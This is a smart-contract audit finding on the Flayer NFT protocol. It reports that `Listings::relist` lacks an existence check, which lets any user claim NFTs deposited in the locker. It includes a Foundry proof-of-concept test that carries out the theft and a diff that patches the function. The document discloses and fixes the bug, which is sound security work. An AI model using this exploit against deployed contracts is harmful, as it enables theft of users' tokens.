Wobbly Neon Hyena

High

# Users can call `Listings::relist` on unlisted NFTs, allowing them to steal NFTs deposited into the locker

### Summary

Users can deposit their tokens in the locker, and receive some tokens in return, these tokens should remain locked in that locket, until the token owner redeems/swaps that token. On the other hand, the `Listings` contract allows users to create listings for their tokens so that they can be sold for some price, when making a listing the NFT is sent to the locker:
```solidity
// We will leave a subset of the tokens inside this {Listings} contract as collateral or
// listing fees. So rather than sending the tokens directly to the user, we need to first
// receive them into this contract and then send some on.
locker.deposit(_listing.collection, _listing.tokenIds, address(this));
```
Relisting a token allows users to buy and create a new listing of a specific token in one action, this is done by calling `Listings:: relist `, which creates a new listing under the caller's name:
```solidity        
// Store our listing into our Listing mappings
_listings[_collection][_tokenId] = listing;
```
However, when relisting a listing, the contract doesn't check if a listing for the requested tokens exists, this allows any user to sweep NFTs deposited into the locker, by calling `Listings::relist` for that token and have a new listing created for that token user their name.

### Root Cause

`Listings::relist` doesn't check if the listing exits before performing the relisting of the request token, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).

### Impact

Users can steal "locked" tokens placed in the locker, without having a listing created for them.

### PoC

Add the following test in `flayer/test/Listings.t.sol`:

```solidity
function test_CanRelistUnlistedNFT() public {
    uint256[] memory tokenIds = new uint256[](1);
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );
    address bob = address(1);
    address alice = address(2);

    uint256 bobTokenId = 0;

    erc721a.mint(bob, bobTokenId);
    deal(address(collectionToken), alice, 1 ether);

    // Bob deposits his token into the locker
    vm.startPrank(bob);
    erc721a.setApprovalForAll(address(locker), true);
    locker.deposit(address(erc721a), tokenIds);
    vm.stopPrank();

    // listing doesn't exist
    assertEq(
        listings.listings(address(erc721a), bobTokenId).owner,
        address(0)
    );

    // Alice calls relist lisintg on Bob's token, knowing no listing was created for it
    vm.startPrank(alice);
    collectionToken.approve(address(listings), 1 ether);
    tokenIds[0] = bobTokenId;
    listings.relist(
        IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: tokenIds,
            listing: IListings.Listing({
                owner: payable(alice),
                created: uint40(block.timestamp),
                duration: 10 days,
                floorMultiple: 120
            })
        }),
        false
    );
    vm.stopPrank();

    // Bob's token is now listed under Alice's name
    assertEq(listings.listings(address(erc721a), bobTokenId).owner, alice);
}
```

### Mitigation

If the listing doesn't exist revert at the top of `Listings::relist`:

```diff
function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
    // Load our tokenId
    address _collection = _listing.collection;
    uint _tokenId = _listing.tokenIds[0];

    // Read the existing listing in a single read
    Listing memory oldListing = _listings[_collection][_tokenId];

+   if (oldListing.owner == address(0)) revert ListingNotAvailable();

    // Ensure the caller is not the owner of the listing
    if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

    // Load our new Listing into memory
    Listing memory listing = _listing.listing;

    // Ensure that the existing listing is available
    (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
    if (!isAvailable) revert ListingNotAvailable();

    // We can process a tax refund for the existing listing
    (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
    if (_fees != 0) {
        emit ListingFeeCaptured(_collection, _tokenId, _fees);
    }

    // Find the underlying {CollectionToken} attached to our collection
    ICollectionToken collectionToken = locker.collectionToken(_collection);

    // If the floor multiple of the original listings is different, then this needs
    // to be paid to the original owner of the listing.
    uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
    if (listingPrice > listingFloorPrice) {
        unchecked {
            collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
        }
    }

    // Validate our new listing
    _validateCreateListing(_listing);

    // Store our listing into our Listing mappings
    _listings[_collection][_tokenId] = listing;

    // Pay our required taxes
    payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);

    // Emit events
    emit ListingRelisted(_collection, _tokenId, listing);
}
```